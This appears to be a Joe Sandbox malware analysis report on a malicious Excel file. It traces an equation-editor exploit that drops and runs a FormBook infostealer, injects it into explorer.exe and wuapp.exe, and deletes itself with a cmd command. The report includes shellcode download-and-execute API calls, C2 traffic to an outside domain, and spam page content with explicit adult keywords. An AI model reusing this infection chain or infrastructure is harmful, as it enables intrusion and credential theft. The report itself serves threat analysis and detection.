3e 0d 0a c4 e3 b7 c3 ce ca b5 c4 d2 b3 c3 e6 b2 bb b4 e6 d4 da a1 a3 a1 a3 a1 a3 a1 a3 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e b7 b5 bb d8 d6 f7 d2 b3 3c 2f 61 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><title>404</title></head><body><script type="text/javascript" src="http://www.qq.com/404/search_children.js" charset="utf-8"></script> <a href="/"></a></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49177	23.81.214.26	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2022 15:21:06.148781061 CEST	286	OUT	GET /nc39/?dZzp=SW2DOu4AoD1tt2PaEEhiNvSk2qD2OpQeAcSR0NEUE8SsNGniN/+F24NqGXKX7Cj1ljS/6Q==&3f=j6AdrVwh HTTP/1.1 Host: www.yiwanggkm.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 14, 2022 15:21:06.311940908 CEST	287	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 14 May 2022 13:20:51 GMT Content-Type: text/html Content-Length: 1782 Connection: close Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 3d 27 c1 b9 c9 bd c7 c8 d3 d4 bd cc d3 fd d7 c9 d1 af d3 d0 cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 74 69 74 6c 65 3e 26 23 32 37 38 32 37 3b 26 23 32 31 33 33 35 3b 26 23 32 32 39 31 39 3b 26 23 32 32 38 39 39 3b 26 23 32 37 36 31 31 3b 26 23 33 33 35 39 32 3b 26 23 33 33 35 39 32 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 31 31 39 3b 2c 26 23 32 30 31 32 32 3b 26 23 32 37 39 35 34 3b 26 23 32 36 30 38 35 3b 26 23 32 36 34 31 32 3b 26 23 33 39 36 34 30 3b 26 23 32 38 31 36 35 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 32 30 31 30 38 3b 26 23 32 31 33 30 36 3b 26 23 31 39 39 37 37 3b 26 23 32 31 33 30 36 3b 2c 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 32 33 35 36 39 3b 26 23 32 32 39 31 39 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 39 37 3b 26 23 31 31 38 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 32 30 30 33 37 3b 26 23 32 30 30 33 37 3b 2c 26 23 33 34 35 38 38 3b 26 23 33 33 34 36 39 3b 26 23 34 30 36 33 35 3b 26 23 33 35 39 31 30 3b 26 23 32 33 35 38 38 3b 26 23 32 39 32 38 39 3b 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 37 38 32 37 3b 26 23 32 31 33 33 35 3b 26 23 32 32 39 31 39 3b 26 23 32 32 38 39 39 3b 26 23 32 37 36 31 31 3b 26 23 33 33 35 39 32 3b 26 23 33 33 35 39 32 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 31 31 39 3b 2c 26 23 32 30 31 32 32 3b 26 23 32 37 39 35 34 3b 26 23 32 36 30 38 35 3b 26 23 32 36 34 31 32 3b 26 23 33 39 36 34 30 3b 26 23 32 38 31 36 35 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 32 30 31 30 38 3b 26 23 32 31 33 30 36 3b 26 23 31 39 39 37 37 3b 26 23 32 31 33 30 36 3b 2c 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 32 33 35 36 39 3b 26 23 32 32 39 31 39 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 39 37 3b 26 23 31 31 38 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 32 30 30 33 37 3b 26 23 32 30 30 33 37 3b 2c 26 23 33 34 35 38 38 3b 26 23 33 33 34 36 39 3b 26 23 34 30 36 33 35 3b 26 23 33 35 39 31 30 3b 26 23 32 33 35 38 38 3b 26 23 32 39 32 38 39 3b 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 37 38 32 37 3b 26 23 32 31 33 33 35 3b 26 23 32 32 39 31 39 3b 26 23 32 32 38 39 39 3b 26 23 32 37 36 31 31 3b 26 23 33 33 35 39 32 3b 26 23 33 33 35 39 32 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 31 31 39 3b 2c 26 23 32 30 31 32 32 3b 26 23 32 37 39 35 34 3b 26 23 32 36 30 38 35 3b 26 23 32 36 34 31 32 3b 26 23 33 39 36 34 30 3b 26 23 32 38 31 36 35 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 32 30 31 30 38 3b 26 23 32 31 33 30 36 3b 26 23 31 39 39 37 37 3b 26 23 32 31 33 30 36 3b 2c 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 32 33 35 36 39 3b 26 23 32 32 39 31 39 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 39 37 3b 26 23 31 31 38 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 32 30 30 33 37 3b 26 23 32 30 30 33 37 3b 2c 26 23 33 34 35 38 38 3b 26 23 33 33 34 36 39 3b 26 23 34 30 36 33 35 3b 26 23 33 35 39 31 Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><script>document.title='';</script><title>河南妇女毛茸茸bbw,亚洲日本高清一区二区三区,精品少妇人妻av免费久久,蜜芽麻豆尤物国产精品</title><meta name="keywords" content="河南妇女毛茸茸bbw,亚洲日本高清一区二区三区,精品少妇人妻av免费久久,蜜芽麻豆尤物国产精品" /><meta name="description" content="河南妇女毛茸茸bbw,亚洲日本高清一区二区三区,精品少妇人妻av免费久久,蜜芽麻&#3591
May 14, 2022 15:21:06.311974049 CEST	288	IN	Data Raw: 30 3b 26 23 32 33 35 38 38 3b 26 23 32 39 32 38 39 3b 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 2c 26 23 32 30 31 32 32 3b 26 23 32 37 39 35 34 3b 26 23 32 36 30 38 35 3b 26 23 32 36 34 31 32 Data Ascii: 0;尤物国产精品,亚洲日本高清一区二区三区,嗯啊厨房里闺蜜的呻吟声,&#2743

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 2776, Parent PID: 576

General

Target ID:	0
Start time:	15:18:17
Start date:	14/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fe10000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: EQNEDT32.EXEPID: 2364, Parent PID: 576

General

Target ID:	2
Start time:	15:18:42
Start date:	14/05/2022
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: vbc.exePID: 2172, Parent PID: 2364

General

Target ID:	4
Start time:	15:18:48
Start date:	14/05/2022
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\vbc.exe"
Imagebase:	0x400000
File size:	263772 bytes
MD5 hash:	DE76EF6A11A63EFC00B0303888BC0B7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 51%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: yldnat.exePID: 1148, Parent PID: 2172

General

Target ID:	5
Start time:	15:18:51
Start date:	14/05/2022
Path:	C:\Users\user\AppData\Local\Temp\yldnat.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna
Imagebase:	0x13b0000
File size:	80384 bytes
MD5 hash:	BC3C746DB1D3F8A821BBDF17CA023450
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.983399787.0000000000120000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: yldnat.exePID: 2452, Parent PID: 1148

General

Target ID:	6
Start time:	15:18:53
Start date:	14/05/2022
Path:	C:\Users\user\AppData\Local\Temp\yldnat.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\yldnat.exe C:\Users\user\AppData\Local\Temp\boswagvgna
Imagebase:	0x13b0000
File size:	80384 bytes
MD5 hash:	BC3C746DB1D3F8A821BBDF17CA023450
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.982109510.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1032166526.0000000000240000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.1032081329.00000000000C0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.981158681.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 1860, Parent PID: 2452

General

Target ID:	7
Start time:	15:18:57
Start date:	14/05/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0xff040000
File size:	3229696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.1012975505.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.1024425011.000000000B8A4000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: wuapp.exePID: 1112, Parent PID: 1860

General

Target ID:	8
Start time:	15:19:15
Start date:	14/05/2022
Path:	C:\Windows\SysWOW64\wuapp.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wuapp.exe
Imagebase:	0x8e0000
File size:	35328 bytes
MD5 hash:	C8EBA45CEF271BED6C2F0E1965D229EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.1175423013.00000000001C0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.1175517654.0000000000270000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.1175360038.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 2960, Parent PID: 1112

General

Target ID:	9
Start time:	15:19:20
Start date:	14/05/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\AppData\Local\Temp\yldnat.exe"
Imagebase:	0x4a3d0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: EQNEDT32.EXEPID: 2364, Parent PID: 576COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	52.7%
Total number of Nodes:	224
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 036D0494 Relevance: 6.1, APIs: 4, Instructions: 84
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(036D0486), ref: 036D0494

Part of subcall function 036D04AE: URLDownloadToFileW.URLMON(00000000,036D04BF,?,00000000,00000000), ref: 036D0501
Part of subcall function 036D04AE: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 036D053F
Part of subcall function 036D04AE: ExitProcess.KERNEL32(00000000), ref: 036D0557

Memory Dump Source

Source File: 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 036D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileLibraryLoadProcessShell
String ID:
API String ID: 2508257586-0
Opcode ID: ef98c3cab19a42d9f08d229c2ac280a93c12a853240ff167e2abdce7bd08b043
Instruction ID: e86ec0dfd4b0952ee1775bba7ad3ca0f47a455e861f7bf5301ee6cdd7e37ddb5
Opcode Fuzzy Hash: ef98c3cab19a42d9f08d229c2ac280a93c12a853240ff167e2abdce7bd08b043
Instruction Fuzzy Hash: 722169E6C4C3C12EDB2397300E6EB69BF646F63204F9985CEE5C2094E3E6985500C767

Uniqueness

Uniqueness Score: -1.00%

Function 036D0408 Relevance: 4.6, APIs: 3, Instructions: 139
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,036D04BF,?,00000000,00000000), ref: 036D0501
ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 036D053F
ExitProcess.KERNEL32(00000000), ref: 036D0557

Memory Dump Source

Source File: 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 036D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID:
API String ID: 3584569557-0
Opcode ID: f7f3f09e4148a3bcac6a411898d316dcc0832bfc0a92d7e063e1ffeba5016e13
Instruction ID: c1835cc1fdfb5ee450f1a03320391720874fce8d02ab8ddd16d8f90c13ceeb69
Opcode Fuzzy Hash: f7f3f09e4148a3bcac6a411898d316dcc0832bfc0a92d7e063e1ffeba5016e13
Instruction Fuzzy Hash: 14418B96C4D3C1AFD713E7700E69B5ABF246F63100F5D8ACFD5C20A4A3E6989505C3AA

Uniqueness

Uniqueness Score: -1.00%

Function 036D0424 Relevance: 4.6, APIs: 3, Instructions: 130
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,036D04BF,?,00000000,00000000), ref: 036D0501
ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 036D053F
ExitProcess.KERNEL32(00000000), ref: 036D0557

Memory Dump Source

Source File: 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 036D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID:
API String ID: 3584569557-0
Opcode ID: b421113ee2b580f4539d1de1098c09857c27cb2c9508f3366d7d704861d6e192
Instruction ID: 28ebc3f3bcbc28bf6397e901e095b9da1d034d1c2ffc51fc65dfbf8caefa7fb0
Opcode Fuzzy Hash: b421113ee2b580f4539d1de1098c09857c27cb2c9508f3366d7d704861d6e192
Instruction Fuzzy Hash: 7F419A96C4D3C16FD713E7300E6AB5ABF24AF63100F5D8ACFD4C20A4A3E6989505C3A6

Uniqueness

Uniqueness Score: -1.00%

Function 036D04AE Relevance: 4.6, APIs: 3, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 036D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID:
API String ID: 3584569557-0
Opcode ID: e20c9f7c018432f810d8a09bc23e677828e6e662158985473ac05502adb4075f
Instruction ID: 7839351a1ebc7f651ed02ea22f310c8366f25d556d3bf961a40c0f78eb165a73
Opcode Fuzzy Hash: e20c9f7c018432f810d8a09bc23e677828e6e662158985473ac05502adb4075f
Instruction Fuzzy Hash: 9221F4E6C4C3C12EDB2397700D6EB65BF646F67600F9989CEE5C24A4E3E6984400C767

Uniqueness

Uniqueness Score: -1.00%

Function 036D04FF Relevance: 4.5, APIs: 3, Instructions: 37
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,036D04BF,?,00000000,00000000), ref: 036D0501

Part of subcall function 036D0518: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 036D053F
Part of subcall function 036D0518: ExitProcess.KERNEL32(00000000), ref: 036D0557

Memory Dump Source

Source File: 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 036D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d0000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID:
API String ID: 3584569557-0
Opcode ID: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction ID: e3b8cb63ed92adcfbb7e3d66dd59f8ecf69bd8cb0474c5a41b9a9c4922d0e9d8
Opcode Fuzzy Hash: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction Fuzzy Hash: 86F0A7E5D4C38429F622EB740E8EF6E6E55AF81700F54088DF9525D0D3D5949904872A

Uniqueness

Uniqueness Score: -1.00%

Function 036D052D Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 036D053F

Part of subcall function 036D0552: ExitProcess.KERNEL32(00000000), ref: 036D0557

Memory Dump Source

Source File: 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 036D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d0000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction ID: ae8d959396642751d9700ed8eb4e0fbfe328c88a0187a6c8db441a2358a3b86d
Opcode Fuzzy Hash: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction Fuzzy Hash: E4012DD9E5434221EB30E6684F46BFAAF55EF51700FCC845BBD91041C5D594A1C3CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 036D0518 Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 036D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d0000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction ID: ef58a22b286a26baecf874dd26c0572e2df1f5ce5ba7a4bffacae0432c9729ec
Opcode Fuzzy Hash: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction Fuzzy Hash: DC012DE4E4834131E771E6784F89FAEEE85EF81704F98845EFD9109182C2945583CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 036D0552 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 036D0557

Memory Dump Source

Source File: 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 036D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d0000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 036D0559 Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 036D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d0000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction ID: 69244eebd672be5baffc46ea101e24e3dc8dfb8fa6d0471e41b4dfe7c6b7f838
Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction Fuzzy Hash: F5D052B1612502CFC304EB04CA80E16F36AFFC8620F28C268E8004BB19C330EC92CB98

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 036D03EF Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(036D03DD), ref: 036D03EF

Memory Dump Source

Source File: 00000002.00000002.972741377.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, Offset: 036D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36d0000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 012a95e31786f55606f2aae6733b7eafa3fe3ec4e00fc661099f0c1eee8d72ce
Instruction ID: 5555957f96f1bc465c946948e81433601c1ede5411ded454f3204090e2f0d2d5
Opcode Fuzzy Hash: 012a95e31786f55606f2aae6733b7eafa3fe3ec4e00fc661099f0c1eee8d72ce
Instruction Fuzzy Hash: 7611D056C0E7C0DFC302E7705A6999AFF20BD63110F5C8ACFC4C44E1A3E6659A0AC3A6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 2172, Parent PID: 2364COMMON

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.3%
Total number of Nodes:	1372
Total number of Limit Nodes:	22

Executed Functions

Function 00403646 Relevance: 82.7, APIs: 34, Strings: 13, Instructions: 450
stringfilecomCOMMON

